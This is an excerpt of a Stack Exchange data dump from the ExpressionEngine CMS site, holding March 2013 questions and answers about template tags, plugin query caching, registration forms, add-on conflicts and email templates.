  <row Id="7320" PostTypeId="1" AcceptedAnswerId="7384" CreationDate="2013-03-13T16:46:28.610" Score="4" ViewCount="649" Body="&lt;p&gt;What's the best way to clear the EE cache periodically without having to do it manually on sites?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there's the Cron Clean Cache plugin but was looking for something more like a system URL that we could hit on a CURL request in cron.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is setting up a template with this plugin the only route?&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2017-03-20T03:52:00.817" Title="clear the EE cache with cron job" Tags="|admin|cache|cache-folder|cron|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7321" PostTypeId="1" CreationDate="2013-03-13T16:46:40.810" Score="1" ViewCount="318" Body="&lt;p&gt;Well basically like the title says, no errors are generated, I just get a blank page back...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heres my form: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;includes/.sitetop&quot; pagetitle=&quot;Gateway Workshops - Massage Courses UK - New member registration&quot; page=&quot;register login questionnaire&quot;}&#xA;&amp;lt;div class=&quot;slidewrap noslide&quot; style=&quot;background-color: white;&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;centercolumn&quot;&amp;gt;&#xA;    &amp;lt;h3&amp;gt;Register New Account&amp;lt;/h3&amp;gt;&#xA;    {exp:freemember:register require=&quot;email|name|phone|password&quot; return=&quot;site/thankyou/&quot; error_handling=&quot;inline&quot; error_delimiters='&amp;lt;span class=&quot;error&quot;&amp;gt;|&amp;lt;/span&amp;gt;'}&#xA;    &amp;lt;p&amp;gt;&amp;lt;label for=&quot;name&quot;&amp;gt;Name:&amp;lt;/label&amp;gt; {field:name}&amp;lt;br /&amp;gt;{error:name}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;label for=&quot;email&quot;&amp;gt;Email Address:&amp;lt;/label&amp;gt; {field:email}&amp;lt;br /&amp;gt;{error:email}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;label for=&quot;company&quot;&amp;gt;Company Name:&amp;lt;/label&amp;gt; {field:company}&amp;lt;br /&amp;gt;{error:company}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;label for=&quot;job_title&quot;&amp;gt;Job Title:&amp;lt;/label&amp;gt; {field:job_title}&amp;lt;br /&amp;gt;{error:job_title}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;label for=&quot;phone&quot;&amp;gt;Phone Number:&amp;lt;/label&amp;gt; {field:phone}&amp;lt;br /&amp;gt;{error:phone}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;label for=&quot;address&quot;&amp;gt;Address:&amp;lt;/label&amp;gt;{field:address}&amp;lt;br /&amp;gt;{error:address}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;label for=&quot;password&quot;&amp;gt;Password:&amp;lt;/label&amp;gt; {field:password}&amp;lt;br /&amp;gt;{error:password}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;label for=&quot;password_confirm&quot;&amp;gt;Confirm Password:&amp;lt;/label&amp;gt;{field:password_confirm}&amp;lt;br /&amp;gt;{error:password_confirm}&amp;lt;/p&amp;gt;&#xA;{if captcha}&#xA;    &amp;lt;p&amp;gt;Please enter the following characters into the box below:&amp;lt;br /&amp;gt;&#xA;    {captcha}&amp;lt;br /&amp;gt;&#xA;    {field:captcha}&amp;lt;br /&amp;gt;&#xA;    {error:captcha}&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&#xA;&amp;lt;div class=&quot;button&quot;&amp;gt;&amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot; class=&quot;submit&quot;&amp;gt;&amp;lt;div class=&quot;buttoninner&quot;&amp;gt;&amp;lt;div class=&quot;buttoninnerinner&quot;&amp;gt;Submit Questionnaire&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/input&amp;gt;&#xA;&#xA;&#xA;&#xA;    {/exp:freemember:register}&#xA;&amp;lt;/div&amp;gt;&#xA;{embed=&quot;includes/.sitebottom&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Its fairly simple, nothing too fancy there, it all displays fine on:&#xA;/login/register/&#xA;but when you click the submit button it goes to:&#xA;/index.php/login/register&#xA;and displays a blank page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I go directly to /index.php/login/register and hit submit it does the same thing (aka redirects back to itself) regardless of what else I do in the form. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got PHP errors turned on and am getting no errors appearing for the site, just the form seems to consistently return to a blank page.....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steven Lockey&lt;/p&gt;&#xA;" OwnerUserId="998" LastActivityDate="2013-03-14T10:46:57.050" Title="Clicking 'submit' on FreeMember login form just goes to blank page" Tags="|freemember|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7322" PostTypeId="1" AcceptedAnswerId="7329" CreationDate="2013-03-13T17:06:50.870" Score="2" ViewCount="161" Body="&lt;p&gt;I'm new to add-on development and have built a simple plugin to return an integer of the number of entries a user has posted in a certain channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to call this plugin a few times in an EE template. With the way it is set up now, does that mean the plugin will query the DB every time I call it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, is there a better way to write this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');&#xA;&#xA;&#xA;            $plugin_info = array(&#xA;                'pi_name'       =&amp;gt; 'Camper Count',&#xA;                'pi_version'    =&amp;gt; '1.0',&#xA;                'pi_author'     =&amp;gt; '',&#xA;                'pi_author_url' =&amp;gt; '',&#xA;                'pi_description'=&amp;gt; 'Count the number of campers a logged in user has and return an integer.',&#xA;                'pi_usage'      =&amp;gt; Camper_count::usage()&#xA;            );&#xA;&#xA;&#xA;&#xA;&#xA;            class Camper_count {&#xA;&#xA;                /**&#xA;                 * Specific Vars for Channel and Status&#xA;                 * Since this will only be used to export from one channel&#xA;                 *&#xA;                 * @var array&#xA;                 * @access protected&#xA;                 **/&#xA;                protected $channel_id = 20; // The ID for the 'Campers' Channel&#xA;                protected $channel_entry_status = 'open';&#xA;&#xA;&#xA;                /**&#xA;                 * Return Data&#xA;                 **/&#xA;                public $return_data;&#xA;&#xA;                /**&#xA;                 * Constructor&#xA;                 */&#xA;                public function __construct()&#xA;                {&#xA;                    $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;&#xA;                    // Make the Query&#xA;                    $this-&amp;gt;EE-&amp;gt;db-&amp;gt;from('exp_channel_titles');&#xA;                    $this-&amp;gt;EE-&amp;gt;db-&amp;gt;where('channel_id', $this-&amp;gt;channel_id);&#xA;                    $this-&amp;gt;EE-&amp;gt;db-&amp;gt;where('status', $this-&amp;gt;channel_entry_status);&#xA;                    $this-&amp;gt;EE-&amp;gt;db-&amp;gt;where('author_id', $this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata('member_id'));&#xA;                    //$this-&amp;gt;EE-&amp;gt;db-&amp;gt;where('exp_channel_titles.entry_date &amp;gt;=', strtotime($config['date_filter_start']));&#xA;                    //$this-&amp;gt;EE-&amp;gt;db-&amp;gt;where('exp_channel_titles.entry_date &amp;lt;=', strtotime($config['date_filter_end']));&#xA;                    $count = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;count_all_results();&#xA;&#xA;&#xA;                    /*&#xA;                     * Since the user will be registering a new camper, incrememnt the camper count up by 1.&#xA;                     * If there are no campers returned, then this is their first camper. Return 1.&#xA;                     */&#xA;                    if($count &amp;gt; 0)&#xA;                    {&#xA;                        $this-&amp;gt;return_data = $count + 1;&#xA;                    }&#xA;                    else&#xA;                    {&#xA;                        $this-&amp;gt;return_data = 1;&#xA;                    }&#xA;                }&#xA;&#xA;                // ----------------------------------------------------------------&#xA;&#xA;                /**&#xA;                 * Plugin Usage&#xA;                 */&#xA;                public static function usage()&#xA;                {&#xA;                    ob_start();&#xA;            ?&amp;gt;&#xA;&#xA;            Returns an integer of the number of campers a logged in user has. {exp:camper_count}&#xA;            &amp;lt;?php&#xA;                    $buffer = ob_get_contents();&#xA;                    ob_end_clean();&#xA;                    return $buffer;&#xA;                }&#xA;            }&#xA;&#xA;&#xA;            /* End of file pi.camper_count.php */&#xA;            /* Location: /system/expressionengine/third_party/camper_count/pi.camper_count.php */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="336" LastActivityDate="2013-03-15T09:27:09.170" Title="Plugin Development Beginner Question" Tags="|add-on-development|plugin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7323" PostTypeId="2" ParentId="7295" CreationDate="2013-03-13T17:33:48.303" Score="3" Body="&lt;p&gt;You should see here &lt;a href=&quot;http://www.sidd3.com/stand-alone-member-registration-form-in-expressionengine/&quot; rel=&quot;nofollow&quot;&gt;http://www.sidd3.com/stand-alone-member-registration-form-in-expressionengine/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This weblog having the example code for stand alone member registration form without using any third-party add-on.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-03-13T17:33:48.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7324" PostTypeId="2" ParentId="7322" CreationDate="2013-03-13T17:38:52.797" Score="0" Body="&lt;p&gt;Each instance of your plugin is isolated. It has no reference to the previous instance. So, yes, you're hitting the db each time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot; rel=&quot;nofollow&quot;&gt;You can see&lt;/a&gt; that &lt;code&gt;preload_replace&lt;/code&gt; variables are parsed before plugin tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you need some way to cache the first hit and use that value again, when you use your plugin in a template. I haven't used it (yet), but I'm guessing that's part of &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt;'s scope.&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="293" LastEditDate="2013-03-13T17:49:05.577" LastActivityDate="2013-03-13T17:49:05.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7326" PostTypeId="1" AcceptedAnswerId="7347" CreationDate="2013-03-13T18:37:51.827" Score="0" ViewCount="704" Body="&lt;p&gt;When I install Channel Images, all of my Wygwam text fields disappear on the publish entry pages. I can still see the channel field title for the Wygwam field, but the wysiwyg is gone. Has anyone else run into this issue? If so, how did you fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;EE version 2.5.5. Wygwam version 2.7. Channel Images version 5.4.2.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="50" LastActivityDate="2013-03-14T14:00:29.013" Title="Conflict with Channel Images and Wygwam" Tags="|wygwam|channel-images|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7327" PostTypeId="2" ParentId="7161" CreationDate="2013-03-13T19:08:34.097" Score="0" Body="&lt;p&gt;Thanks &lt;a href=&quot;https://expressionengine.stackexchange.com/users/28/anna-mediagirl&quot;&gt;Anna_MediaGirl&lt;/a&gt; for helping through this. It seems like the issue is with the removal of index.php in my URLs. When I went back to the general settings and replaced that for the default file, i worked fine. I guess this puts me on another mission to find a better removal of index.php for IIS servers.   (Ick)&lt;/p&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-03-13T19:08:34.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7328" PostTypeId="2" ParentId="7326" CreationDate="2013-03-13T19:16:41.177" Score="0" Body="&lt;p&gt;First of all upgrade both add-ons to their latest versions or make sure they are at their most current versions. Of course it would be nice if Exp Eng were at its most current version also. :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't recall the details of this issue, best to ask the developers, but one solution is to try the settings in Wygwam for &quot;Defer loading&quot;. In the settings for Wygwam you can set a preference that displays the Wygwam editor or defers it until you click on the field. In one instance I set this to NOT defer loading. The Edit page loads more slowly, especially if you have multiple Wygwam fields, but this may solve your issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, are you using any custom CKEditor settings or a custom CSS file for the Wygwam field settings?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bob&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="505" LastActivityDate="2013-03-13T19:16:41.177" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7329" PostTypeId="2" ParentId="7322" CreationDate="2013-03-13T19:38:30.593" Score="3" Body="&lt;p&gt;Use Session Caching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/session.html#id4&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/usage/session.html#id4&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can initialise it first, but I've found it works fine with out this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//###   Setup the page loading Cache   ###&#xA;if(!isset($this-&amp;gt;EE-&amp;gt;session-&amp;gt;cache)) $this-&amp;gt;EE-&amp;gt;session-&amp;gt;cache = array();&#xA;if(!isset($this-&amp;gt;EE-&amp;gt;session-&amp;gt;cache[__CLASS__])) $this-&amp;gt;EE-&amp;gt;session-&amp;gt;cache[__CLASS__] = array();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then check if set before the DB call, and set afterwards...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($this-&amp;gt;EE-&amp;gt;session-&amp;gt;cache[__CLASS__]['entry_count'])) {&#xA;    $count =  $this-&amp;gt;EE-&amp;gt;session-&amp;gt;cache[__CLASS__]['entry_count'];&#xA;} else {&#xA;    // Make the Query&#xA;    $this-&amp;gt;EE-&amp;gt;db-&amp;gt;from('exp_channel_titles');&#xA;    $this-&amp;gt;EE-&amp;gt;db-&amp;gt;where('channel_id', $this-&amp;gt;channel_id);&#xA;    $this-&amp;gt;EE-&amp;gt;db-&amp;gt;where('status', $this-&amp;gt;channel_entry_status);&#xA;    $this-&amp;gt;EE-&amp;gt;db-&amp;gt;where('author_id', $this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata('member_id'));&#xA;    $count = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;count_all_results();&#xA;    $this-&amp;gt;EE-&amp;gt;session-&amp;gt;cache[__CLASS__]['entry_count'] = $count;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can read from the EE description (link above), this is a page loading cache - so only useful for single display of a single page. Therefore if there are multiple calls on the same page to this add-on/function then it will only call the database once. If there are other users or other pages the visitor uses, it will repeat the DB query for each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember this is shared by all add-ons, so either use a unique identifier for the cache array, or use a multi-dimensional array and have the first element ideally identify your add-on, to avoid any overwriting of the cache area.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2013-03-15T09:27:09.170" LastActivityDate="2013-03-15T09:27:09.170" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7330" PostTypeId="1" CreationDate="2013-03-13T20:29:07.980" Score="4" ViewCount="810" Body="&lt;p&gt;I have gone through and added HTML templates/emails for each of the template files in the &#xA;CP Home -&gt; Email Notification Templates but not all of them are being sent as HTML. I don't know what else I need to change. The Admin notifications are coming through as HTML and some of the others are as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the 'Forgotten Password Instructions' comes through as HTML, but the 'Mailing List Activation Instructions' will not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have changed the variables in the Email class to be 'html' for mailtype.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is nothing different between the emails except for the variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;v2.5.5 - Build Date: 20121220&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2014-02-14T01:10:02.397" Title="Force HTML emails for all Email Notification Templates" Tags="|ee2|email|notification|html-email|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7331" PostTypeId="1" AcceptedAnswerId="7339" CreationDate="2013-03-13T20:30:11.150" Score="1" ViewCount="122" Body="&lt;p&gt;I'm having trouble getting &lt;sup&gt;&lt;/sup&gt; to work in the content editing area for EE 2.4.0. Put it in the source, switch back to text, looks fine but after submitting, just shows up as a regular number in both Chrome and FF. I would just use &amp;sup3; for example, but I've got a 4 author paper I need to reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? &lt;/p&gt;&#xA;" OwnerUserId="916" LastActivityDate="2013-03-14T16:27:58.480" Title="Superscript issues" Tags="|ee2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7332" PostTypeId="2" ParentId="7314" CreationDate="2013-03-13T20:42:20.207" Score="1" Body="&lt;p&gt;I resolved the problem. I updated the module from 1.0.7 to 1.0.9 and the problem went away.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2013-03-13T20:42:20.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7333" PostTypeId="1" AcceptedAnswerId="7338" CreationDate="2013-03-13T20:48:02.757" Score="1" ViewCount="45" Body="&lt;p&gt;I built a site several years ago with 3 statuses so editors could position articles on a category landing page. I coded some of the entry tags like this to ensure that adding additional statuses wouldn't affect the results unless I explicitly revised the parameter settings.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;status=&quot;Open|Mini Feature|Main and Mini Feature|Main Feature&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Well, no additional statuses have ever been added and I want to make sure my queries are as efficient as possible. This is a high traffic site.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;My question is... &lt;strong&gt;which produces a more efficient query?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;status=&quot;Open|Mini Feature|Main and Mini Feature|Main Feature&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;status=&quot;not closed&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-03-13T20:58:32.633" LastActivityDate="2013-03-13T21:29:37.710" Title="Which method for setting status parameter is more efficient?" Tags="|performance|status|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7334" PostTypeId="1" AcceptedAnswerId="7335" CreationDate="2013-03-13T20:49:22.947" Score="1" ViewCount="163" Body="&lt;p&gt;Using assets in a Matrix field, and would like to display 'no results' if a file has not been uploaded for that particular field.  Like so...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries....etc}&#xA;{matrix_field}&#xA;    {field_1}&#xA;    {field_2}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if asset_field}&#xA;    {asset_field}&#xA;        {url}&#xA;    {/asset_field}&#xA;{if:else}&#xA;    No Files&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{/matrix_field}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried various combinations of using total_results and changing where the conditional is, complex/simple.  Can't seem to find the right combination that works with both cases.  Is there a no_results tag?  What's the proper way to do this?&lt;/p&gt;&#xA;" OwnerUserId="843" LastActivityDate="2013-03-14T00:27:21.483" Title="How to: Assets &amp; no results" Tags="|assets|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7335" PostTypeId="2" ParentId="7334" CreationDate="2013-03-13T21:11:55.003" Score="2" Body="&lt;p&gt;I just did a quick setup to test.  My matrix tag pair is test_matrix.  My Assets column is matrix_assets&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries limit=&quot;2&quot;}&#xA;&amp;lt;h1&amp;gt;{title}, {entry_id}&amp;lt;/h1&amp;gt;&#xA;{test_matrix}&#xA;{if matrix_assets == &quot;&quot;}nada{/if}&#xA;{if matrix_assets != &quot;&quot;}stuff{/if}&#xA;{matrix_assets}&#xA;{/test_matrix}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I did that with two entries, one with that column populated, one without.  This was the output of that template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;testing matrix assets - has no file, 15&#xA;&#xA;nada&#xA;testing matrix assets - results, 14&#xA;&#xA;stuff&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you can see the conditionals there are working.  Can you give that type of approach a shot?&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-03-13T21:11:55.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7336" PostTypeId="2" ParentId="7334" CreationDate="2013-03-13T21:13:41.603" Score="1" Body="&lt;p&gt;You can accomplish this one of two ways...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{matrix_field}&#xA;{if file}{file}{if:else}no results{/if}&#xA;{/matrix_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, if you're trying to show the &quot;no results&quot; if no matrix rows exist, you could do this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{matrix_field}&#xA;{if total_rows == &quot;0&quot;}no results{/if}&#xA;{/matrix_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if matrix_field == &quot;&quot;}no results{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let me know if you have questions!&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="117" LastEditDate="2013-03-14T00:27:21.483" LastActivityDate="2013-03-14T00:27:21.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7337" PostTypeId="2" ParentId="7333" CreationDate="2013-03-13T21:24:37.480" Score="0" Body="&lt;p&gt;I'd say because the way MySQL works, the latter is more efficient. You're basically saying, in SQL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT entries FROM channel WHERE status IS NOT closed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;vs. saying:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT entries FROM channel WHERE status IS open OR Mini Feature OR Main AND Mini Feature OR Main Feature&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as a machine reading these queries, the first is much more concise, and will also be more concise in your template :)&lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2013-03-13T21:24:37.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7338" PostTypeId="2" ParentId="7333" CreationDate="2013-03-13T21:29:37.710" Score="2" Body="&lt;p&gt;status=&quot;not closed&quot; will be more efficient. When the Channel module is building its SQL query, it checks to see if there's more than one status being asked for. If it's one status, it uses &lt;code&gt;WHERE status =&lt;/code&gt;. If it's more than one status, then it'll use &lt;code&gt;WHERE status IN&lt;/code&gt;. = is more efficient than IN.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-03-13T21:29:37.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7339" PostTypeId="2" ParentId="7331" CreationDate="2013-03-13T21:46:29.470" Score="1" Body="&lt;p&gt;Could it be a styling issue? Try explicitly styling the sup. E.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sup {&#xA;  vertical-align: .6em;&#xA;  font-size: 65%;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1048" LastActivityDate="2013-03-13T21:46:29.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7340" PostTypeId="1" CreationDate="2013-03-14T01:33:39.673" Score="2" ViewCount="2069" Body="&lt;p&gt;The {count} variable is completely not working in my entries. It is just returning 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last thing we installed for plugins was the structure_url_alias module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a known ee bug?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the requested code. It was working right before we installed structure_url_alais. We have over 100 aliases now running so we are hesitant to uninstall the module and see if it is the reason {count} stopped working. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; limit=&quot;6&quot; category=&quot;not 20&quot;}&#xA;{if count &amp;lt; 4}&#xA;Count {count}&#xA;&amp;lt;div class=&quot;content_{count}&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;date date_1&quot;&amp;gt;&#xA;&amp;lt;h4 align=&quot;center&quot; style=&quot;margin-top:16px&quot;&amp;gt;&#xA;&amp;lt;span class=&quot;month&quot;&amp;gt;{entry_date format=&quot;%M&quot;}&amp;lt;/span&amp;gt;&#xA;&amp;lt;span class=&quot;day&quot;&amp;gt;{entry_date format=&quot;%d&quot;}&amp;lt;/span&amp;gt;&#xA;&amp;lt;/h4&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;text_1&quot;&amp;gt;&#xA;&amp;lt;h3 style=&quot;margin-left:13px;&quot;&amp;gt;&#xA;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;&amp;lt;/h3&amp;gt;&#xA;{exp:char_limit total=&quot;160&quot;}&#xA;{news_excerpt}&#xA;{/exp:char_limit}&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;  &#xA;&amp;lt;!-- News and Events End --&amp;gt;&#xA;{if:else}&#xA;{if count==4}&#xA;&amp;lt;!-- Older News Articles --&amp;gt;&#xA;&amp;lt;h1 style=&quot;margin-top:10px; margin-bottom:1px;&quot;&amp;gt;OLDER NEWS:&amp;lt;/h1&amp;gt;&#xA;&amp;lt;div class=&quot;news_box&quot; style=&quot;padding-top:5px;&quot;&amp;gt;{/if}&#xA;&amp;lt;div class=&quot;news_{count}&quot;&amp;gt;&#xA;&amp;lt;h6&amp;gt;&#xA;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;&amp;lt;/h6&amp;gt;&#xA;&amp;lt;div class=&quot;excerpt&quot;&amp;gt;&#xA;&amp;lt;span class=&quot;date&quot;&amp;gt;{entry_date format=&quot;%M. %d&quot;} - &amp;lt;/span&amp;gt; {exp:char_limit total=&quot;200&quot;}{news_excerpt}{/exp:char_limit}&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;!-- Older News Articles End --&amp;gt;&#xA;{if count == total_results}&amp;lt;/div&amp;gt;{/if}&#xA;{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We narrowed the problem down to the structure alais plugin, but we don't want to uninstall it to see for sure because we already have over 100 alaises set up.  Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="675" LastEditorUserId="675" LastEditDate="2013-03-14T16:47:19.327" LastActivityDate="2013-03-20T19:39:20.310" Title="{count} is not working" Tags="|channel-entries|channel|structure|categories|" AnswerCount="4" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="7341" PostTypeId="1" AcceptedAnswerId="7342" CreationDate="2013-03-14T01:35:58.700" Score="2" ViewCount="56" Body="&lt;p&gt;Exp:resso Store: How can I communicate to a list of all members who have purchased a particular product?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If, for example, a product (in our case, a class course) is cancelled or the time changes.&lt;/p&gt;&#xA;" OwnerUserId="631" LastActivityDate="2013-03-14T02:06:55.020" Title="Exp:resso Store: Communication" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
